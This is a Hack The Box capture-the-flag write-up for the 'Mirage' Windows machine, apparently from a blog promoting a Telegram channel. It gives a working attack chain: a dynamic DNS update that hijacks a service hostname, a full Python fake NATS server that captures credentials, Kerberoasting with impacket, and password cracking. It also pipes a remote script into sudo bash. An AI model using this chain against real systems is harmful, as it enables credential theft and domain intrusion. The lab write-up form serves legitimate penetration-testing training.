Skip to content

Mirage - Hack The Box

Platform: Windows

IP: 10.129.241.132

Difficulty: Hard

Author: NoSec

🚨 Follow live on HTB — leaks, drops, and in-depth writeups 👉 t.me/nosecpwn Don't read. Join.


Recon

nmap -sVC mirage.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-22 16:39 CEST
Stats: 0:01:57 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.28% done; ETC: 16:41 (0:00:01 remaining)
Nmap scan report for mirage.htb (10.129.241.132)
Host is up (0.12s latency).
Not shown: 986 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-22 14:39:55Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
2049/tcp open  nlockmgr      1-4 (RPC #100021)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-07-22T14:40:43
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.40 seconds

Discovering and Mounting NFS Shares

Mounting the found NFS share:

showmount -e mirage.htb
sudo mount -t nfs mirage.htb:/MirageReports /mnt

Then copy the files to your own folder:

sudo cp /mnt/Incident_Report_Missing_DNS_Record_nats-svc.pdf /home/noname/Asztal/HTB_TMH/HTB_Mirage
sudo cp /mnt/Mirage_Authentication_Hardening_Report.pdf /home/noname/Asztal/HTB_TMH/HTB_Mirage
sudo chown <your_user>:<your_user> Incident_Report_Missing_DNS_Record_nats-svc.pdf Mirage_Authentication_Hardening_Report.pdf

Important Environmental Information (from PDF)

Information obtained from the PDFs:

  • NTLM is disabled, only Kerberos works.
  • The DNS record for the hostname nats-svc.mirage.htb is missing.

This means that NTLM-based attacks are excluded, and only Kerberos-based devices can be used.

Kerberos

Kerberos Configuration

Configure Kerberos (krb5.conf):

[libdefaults]
    default_realm = MIRAGE.HTB
    kdc_timesync = 1
    ccache_type = 4
    forwardable = true
    proxiable = true
    rdns = false
    fcc-mit-ticketflags = true

[realms]
    MIRAGE.HTB = {
        kdc = 10.129.241.132
        admin_server = 10.129.241.132
    }

Preparing DNS Hijacking

Prepare the DNS record modification:

nano dns.txt

Then write:

server 10.129.241.132
zone mirage.htb
update delete nats-svc.mirage.htb A
update add nats-svc.mirage.htb 60 A <YOUR_IP>
send

Starting the fake NATS server (credentials capture)

Start the fake NATS server, which will capture the login details:

#!/usr/bin/env python3

import socket
import threading
import json
from datetime import datetime

class FakeNATSServer:
    def __init__(self, host='0.0.0.0', port=4222):
        self.host = host
        self.port = port
        self.active = False
        self.client_list = []

    def log(self, message):
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        print(f"[{timestamp}] {message}")

    def handle_client(self, connection, address):
        self.log(f"🔌 New connection from: {address[0]}:{address[1]}")

        try:
            # Sending an 'INFO' message as a real NATS server would
            info = {
                "server_id": "eng-fake-nats",
                "version": "2.9.0",
                "proto": 1,
                "host": self.host,
                "port": self.port,
                "max_payload": 1048576,
                "client_id": len(self.client_list)
            }
            connection.send(f"INFO {json.dumps(info)}\r\n".encode())
            self.log("📤 INFO sent to client")

            while self.active:
                try:
                    data = connection.recv(4096)
                    if not data:
                        break

                    incoming = data.decode('utf-8', errors='ignore').strip()
                    self.log(f"📨 Incoming message: {repr(incoming)}")

                    lines = incoming.split('\r\n')
                    for line in lines:
                        if line:
                            self.parse_message(line, address)

                    connection.send(b"+OK\r\n")

                except socket.timeout:
                    continue
                except Exception as error:
                    self.log(f"Error with client {address}: {error}")
                    break

        except Exception as general_error:
            self.log(f"Connection error: {general_error}")
        finally:
            self.log(f"❌ Connection closed: {address[0]}:{address[1]}")
            connection.close()
            if connection in self.client_list:
                self.client_list.remove(connection)

    def parse_message(self, line, address):
        """Processing NATS protocol messages"""
        parts = line.split(' ', 1)
        command = parts[0].upper() if parts else ''

        if command == 'CONNECT':
            try:
                json_data = parts[1] if len(parts) > 1 else '{}'
                data = json.loads(json_data)

                self.log(f"🔐 CONNECT - {json.dumps(data, indent=2)}")

                # Logging possible sensitive info
                if 'user' in data:
                    self.log(f"🎯 USERNAME: {data['user']}")
                if 'pass' in data:
                    self.log(f"🎯 PASSWORD: {data['pass']}")
                if 'auth_token' in data:
                    self.log(f"🎯 TOKEN: {data['auth_token']}")
                if 'sig' in data:
                    self.log(f"🎯 SIGNATURE: {data['sig']}")
                if 'jwt' in data:
                    self.log(f"🎯 JWT: {data['jwt']}")

            except json.JSONDecodeError:
                self.log(f"⚠️ Invalid CONNECT format: {line}")

        elif command == 'SUB':
            self.log(f"📥 Subscription: {line}")

        elif command == 'PUB':
            self.log(f"📤 Publish: {line}")

        elif command == 'PING':
            self.log("🏓 PING received")

        elif command == 'PONG':
            self.log("🏓 PONG received")

        elif command == 'MSG':
            self.log(f"📬 Message: {line}")

        else:
            self.log(f"❓ Unknown command: {line}")

    def start(self):
        self.active = True
        server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        try:
            server_socket.bind((self.host, self.port))
            server_socket.listen(5)

            self.log(f"🚀 Fake NATS server running at {self.host}:{self.port}")
            self.log("🧲 Waiting for connections...")

            while self.active:
                try:
                    client_conn, client_address = server_socket.accept()
                    client_conn.settimeout(30)
                    self.client_list.append(client_conn)

                    thread = threading.Thread(target=self.handle_client, args=(client_conn, client_address))
                    thread.daemon = True
                    thread.start()

                except socket.error as err:
                    if self.active:
                        self.log(f"⚠️ Socket error: {err}")

        except Exception as e:
            self.log(f"🔥 Server error: {e}")
        finally:
            server_socket.close()
            self.log("🛑 Server stopped.")

    def stop(self):
        self.active = False
        for client in self.client_list:
            client.close()

def main():
    server = FakeNATSServer()
    try:
        server.start()
    except KeyboardInterrupt:
        print("\n[+] Exiting, stopping server...")
        server.stop()

if __name__ == "__main__":
    print("🎭 Fake NATS Server - Credential Trap")
    print("=" * 60)
    main()
python nats.py
🎭 Fake NATS Server - Credential Trap
============================================================
[2025-07-22 17:04:20] 🚀 Fake NATS server running at 0.0.0.0:4222
[2025-07-22 17:04:20] 🧲 Waiting for connections...
[2025-07-22 17:04:26] 🔌 New connection from: 10.129.241.132:61370
[2025-07-22 17:04:26] 📤 INFO sent to client
[2025-07-22 17:04:27] 📨 Incoming message: 'CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"hx5h7*******","tls_required":false,"name":"NATS CLI Version 0.2.2","lang":"go","version":"1.41.1","protocol":1,"echo":true,"headers":false,"no_responders":false}\r\nPING'
[2025-07-22 17:04:27] 🔐 CONNECT - {
  "verbose": false,
  "pedantic": false,
  "user": "Dev_Account_A",
  "pass": "hx5h7******",
  "tls_required": false,
  "name": "NATS CLI Version 0.2.2",
  "lang": "go",
  "version": "1.41.1",
  "protocol": 1,
  "echo": true,
  "headers": false,
  "no_responders": false
}
[2025-07-22 17:04:27] 🎯 USERNAME: Dev_Account_A
[2025-07-22 17:04:27] 🎯 PASSWORD: hx5h7*******
[2025-07-22 17:04:27] 🏓 PING received
[2025-07-22 17:04:27] ❌ Connection closed: 10.129.241.132:61370
^C[2025-07-22 17:05:32] 🛑 Server stopped.

[+] Exiting, stopping server...

Obtaining credentials

If everything went well, we will capture the credentials:

USERNAME: Dev_Account_A
PASSWORD: hx5h7F5*******

Using NATS CLI

Install natscli and check the NATS server:

curl -sSL https://raw.githubusercontent.com/upciti/wakemeops/main/assets/install_repository | sudo bash
sudo apt update
sudo apt install natscli

nats stream ls --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7******'

Create a "consumer":

nats consumer add auth_logs reader --pull --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7******'

Settings:

  • Start policy: all
  • Acknowledgment policy: explicit
  • Replay policy: original
  • Deliver headers only: No

Download the messages:

nats consumer next auth_logs reader --count=5 --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7******'

We receive:

{"user":"david.jjackson","password":"pN8kQ******","ip":"10.10.10.20"}

Obtaining a Kerberos Ticket Granting Ticket (TGT)

Request a TGT:

impacket-getTGT mirage.htb/david.jjackson:'pN8kQ******'
export KRB5CCNAME=david.jjackson.ccache

Enumerate SPNs and TGS tickets:

impacket-GetUserSPNs -k -no-pass -dc-host dc01.mirage.htb mirage.htb/ -request

Break the hash with John:

john nathan.txt --wordlist=/usr/share/wordlists/rockyou.txt

Password obtained:

3ed******

Log in to WinRM

Request a TGT with the Nathan Aadam account:

impacket-getTGT mirage.htb/nathan.aadam:'3ed******'
export KRB5CCNAME=nathan.aadam.ccache

Log in:

evil-winrm -i dc01.mirage.htb -r mirage.htb

Obtaining the User Flag

List the flag:

*Evil-WinRM* PS C:\Users\nathan.aadam\Desktop> ls

Directory: C:\Users\nathan.aadam\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          7/4/2025   1:01 PM           2312 Microsoft Edge.lnk
-ar---         7/22/2025   5:55 AM             34 user.txt

User flag obtained!


🔐 The root part is only available in the private Telegram group while the machine is active in Season 8.

👉 Join us for the full writeup, extra tips, and insider content: 📡 https://t.me/nosecpwn